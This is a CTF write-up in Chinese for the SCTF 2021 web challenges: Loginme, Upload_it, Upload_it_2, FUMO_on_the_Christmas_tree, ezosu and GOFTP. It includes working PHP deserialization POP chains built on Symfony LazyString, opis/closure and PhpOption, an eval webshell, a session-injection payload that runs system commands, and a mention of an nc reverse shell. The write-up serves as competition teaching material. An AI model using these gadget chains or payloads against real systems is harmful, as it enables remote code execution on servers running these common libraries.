wp · 2021年12月28日 0

SCTF 2021 wp

前言

考试前摸了一波鱼,就做了几道WEB题

Loginme

签到题是Go写的,也给了源码。

首先是利用X-REAL-IP请求头绕过localhost检测:

if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
    c.AbortWithStatus(403)
    return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
    c.Next()
} else {
    c.AbortWithStatus(401)
}

然后是一段go语言的模板注入:

age := TargetUser.Age
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)

这里就直接传入id=0&age={{.}}就能得到flag

1640527383(1)

Upload_it

这里是给了一个文件上传的点,可以将文件传入/tmp/sandbox/xxxx的一个目录。如果指定了PATH变量则会将/tmp/sandbox/xxxx与PATH进行一次拼接,然后将上传的文件放入这个目录,接着就可以进行目录穿越,可以将文件上传到其他目录。不过WEB根目录并没有给写入的权限,不能直接传马上去。

然后开始分析源码,主要的逻辑在这里:

if (!empty($_POST['path'])) {
    $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
    $upload_file = $upload_file_path."/".$file['name'];
} else {
    $upload_file_path = $_SESSION["upload_path"];
    $upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
    echo "OK! Your file saved in: " . $upload_file;
} else {
    echo "emm...Upload failed:(";
}

首先初始化的时候如果$_SESSION["upload_path"]为空则先设置$_SESSION["upload_path"]。然后进入到上面的代码,取出$_SESSION["upload_path"]然后与path进行拼接。

这里可以上传任意文件到/tmp目录下,于是可以控制session文件,接着可以进行session反序列化,正好后面有字符串的拼接可以触发$_SESSION["upload_path"]__toString()方法,然后开始挖掘反序列化利用链。

他给的源码中有composer.json文件,可以看到他用了这两个依赖

"require": {
    "symfony/string": "^5.3",
    "opis/closure": "^3.6"
}

于是POC如下:

<?php
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            include("../vendor/opis/closure/autoload.php");
            $func = function (){@eval($_POST[0]);echo "eastjun";};
            $a = \Opis\Closure\serialize($func);
            $b = unserialize($a);
            $this->value=$b;
        }
    }
}
namespace {
    use Symfony\Component\String\LazyString;
    session_start();
    $a = new LazyString();
    $_SESSION["upload_path"] = $a;
}

接着把session文件复制出来,上传到服务器的/tmp目录,在下一次上传文件时触发RCE。

Upload_it_2

这题思路和上面是一样的,不同的地方在于依赖中没有了opis/closure,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含,反序列化利用链的POC要重新写:

<?php
namespace {
    class sandbox {
        private $evil = "/flag";
        public $upload_path;
        public function make_user_upload_dir() {
            $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id());
            $this->upload_path = UPLOAD_PATH . "/" . $md5_dir;
            @mkdir($this->upload_path);
            $_SESSION["upload_path"] = $this->upload_path;
        }
        public function has_upload_dir() {
            return !empty($_SESSION["upload_path"]);
        }
        public function __wakeup() {
            throw new Error("NO NO NO");
        }
        public function __destruct() {}
        public function __call($func, $value) {
            if (method_exists($this, $func)) {
                call_user_func_array(
                    [$this, $func],
                    $value
                );
            }
        }
        private function backdoor() {
            include_once $this->evil;
        }
    }
}
namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct(){
            $a = array(new \sandbox(),"backdoor");
            $this->value=$a;
        }
    }
    session_start();
    $a = new LazyString();
    $_SESSION["upload_path"] = $a;
}

直接包含flag就有了:

upload2

FUMO_on_the_Christmas_tree

和强网杯的pop master一样,给了几万个类,要我们进行反序列化。__destruct()方法只有一处:

tree2

这里对他给的源码进行分析,每个类只有一个方法,方法里传入的参数可能会几个函数进行处理,例如base64_encodebase64_decodestr_rot13md5sha1ucfirststrrev。可以看到其中有一部分是不可逆的,还有一部分是可逆的。

其次方法中也有对成员变量的方法进行调用,主要有几种形式:

  • 直接调用的:

if (is_callable([$this->QIowTK, 'RMGyBe'])) @$this->QIowTK->RMGyBe($QFCcbS);
  • 通过call_user_func调用__invoke()魔术方法

@call_user_func($this->AHT5Wz3, ['tcpfCW0' => $EM5mVC1GNm]);
public function __invoke($value) {
    $key = base64_decode('dGNwZkNXMA==');
    @$this->g4IE9M->RVaIMSg8($value[$key]);
}
  • 通过直接调用触发__call方法然后再调用的

if (is_callable([$this->hqT7MH7bO, 'vxgLqkX'])) @$this->hqT7MH7bO->vxgLqkX($tth7aWMpV);
public function __call($name,$value) {
    extract([$name => 'lP9EIpfG0u']);
    if (is_callable([$this->i9pCwmEw0E, $vxgLqkX]))
        call_user_func([$this->i9pCwmEw0E, $vxgLqkX], ...$value);
}

最终调用到的方法是一个readfile()方法读取/fumo文件就能得到flag

if(stripos($fTlQohA, "/fumo") === 0) readfile(strtolower($fTlQohA));

大概的思路是用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()方法为入口进行搜索,直到最后遇到readfile()方法。

生成反序列化利用链的POC如下:

import re
import base64

otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}

def trav(name, cls, al):
    if "fumo" in classes[name]:
        print("->".join(cls))
        print(f"start->{'->'.join(al)}->end",end="\n\n")
        return 1
    for call in otoc[name]:
        if call in ftoo.keys():
            next = ftoo[call]
            if next not in cls:
                trav(next, cls + [next], al+[otoa[name]])
    return 0

if __name__ == "__main__":
    with open("class.code") as f:
        text = f.read()
        res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
        for i in res:
            name = re.findall("class (\w+)", i)[0]
            classes[name] = i
            fs = re.findall("public object (\$\w+?);", i)
            otov[name] = fs
            for fc in fs:
                vtoo[fc] = name
            calls = re.findall("\$this->\w+?->(\w+)\(", i)
            calls1 = []
            a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
            disable = ("md5", "sha1", "crypt", "ucfirst")
            for call in calls:
                ctoo[call] = name
                if len(a) == 0 and "crypt" not in i:
                        calls1.append(call)
                        otoa[name]=""
                else:
                    if len(a) == 0:
                        a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
                    if len(a)==1:
                        a = list(a[0])
                        if "crypt" in i:
                            a[1] = "crypt"
                    otoa[name] = a[1]
                    if a[0] == a[2] and (
                        a[1] != ""
                        and not (a[1] in disable and i.find(a[1]) < i.find(call))
                        or a[1] == ""):
                        calls1.append(call)
            calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
            if calls2:
                ctoo[name] = calls2[0]
                otoa[name] = ""
            otoc[name] = calls1 + calls2
            func = re.findall("function (\w+?)\(", i)[0]
            ftoo[func] = name
            otof[name] = func

            if func == "__call":
                calls = re.findall("=> '(\w+?)'", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
            elif func == "__invoke":
                calls = re.findall("\$this->\w+?->(\w+?)\(", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
                func = base64.b64decode(func.encode()).decode()
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
        trav(ftoo["__destruct"], [ftoo["__destruct"]],[])

我拿到的数据中正好有一条链只经过了偶数个可逆操作和一个ucfirst操作的链,接着可以手写POP链进行反序列化。

tree

ezosu

给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件。

其中反代这里只有对请求进行转发和/app/static目录下的一大堆静态文件

location = / {
    proxy_pass http://imi:8080;
}

IMi框架中Index控制器中有一个config方法,主要代码如下:

if ($method === "POST") {
    Session::clear();
    $configData = $this->request->getParsedBody();
    foreach ($configData as $k => $v) {
        Session::set($k, $v);
    }
} else if ($method === "GET") {
    $configData = Session::get();
    if ($configData != null) {
        $res["value"] = $configData;
    } else {
        $res = [
            "msg" => "Not Find",
            "status" => "404",
            "value" => null
        ];
    }
}

使用POST传参则将json中的值放到Session中,然后使用GET请求访问则获取Session中所有的值并显示出来。

因为给了Dockerfile,所以我直接在本地搭建了环境。然后在本地找session文件,在/config路由传入下面的json时,可以看到session文件的格式

json:{"e":"b","c":"a"}
session文件:e|s:1:"b";c|s:1:"a";jspsz5f4usb|s:1:"=";

然后是想到了session反序列化,考虑对session文件进行闭合,例如传入json如下时在查看的时候发现Imi框架将session中的c值解析成了数组,成功反序列化了一个数组。

json:{"e":"b","c|a:0:{}a":"a"}
session文件:e|s:1:"b";c|a:0:{}a|s:1:"a";q0b06v5mb0l|s:1:"=";
框架解析的value:{"e":"b","c":[],"a":"a","q0b06v5mb0l":"="}

接着可以开始考虑挖掘反序列化利用链,POC入下:

<?php
namespace PhpOption{
    abstract class Option{

    }
    final class LazyOption extends Option{
        private $option = null;
        private $callback;
        private $arguments;
        public function __construct(){
            $this->callback = "system";
            $this->arguments = array("whoami >/tmp/res");
        }
    }
}
namespace Symfony\Component\String{
    use PhpOption\LazyOption;
    class LazyString{
        private $value;
        public function __construct(){
            $this->value = array(new LazyOption(),"get");
        }
    }
}
namespace{
    use Symfony\Component\String\LazyString;
    $a = new LazyString();
    echo json_encode(serialize($a));
}

然后将这一段json传入/config路由,再使用GET方法访问/config路由时触发RCE

{"e":"b","c|O:35:\"Symfony\\Component\\String\\LazyString\":1:{s:42:\"\u0000Symfony\\Component\\String\\LazyString\u0000value\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\":3:{s:28:\"\u0000PhpOption\\LazyOption\u0000option\";N;s:30:\"\u0000PhpOption\\LazyOption\u0000callback\";s:6:\"system\";s:31:\"\u0000PhpOption\\LazyOption\u0000arguments\";a:1:{i:0;s:16:\"whoami >\/tmp\/res\";}}i:1;s:3:\"get\";}}a":"a"}

然后使用nc反弹shell:

1640522478(1)

GOFTP

大概的思路应该就是使用FTP被动模式进行SSRF攻击restapi,不过因为星期一还有好多事情,我没有继续往下做了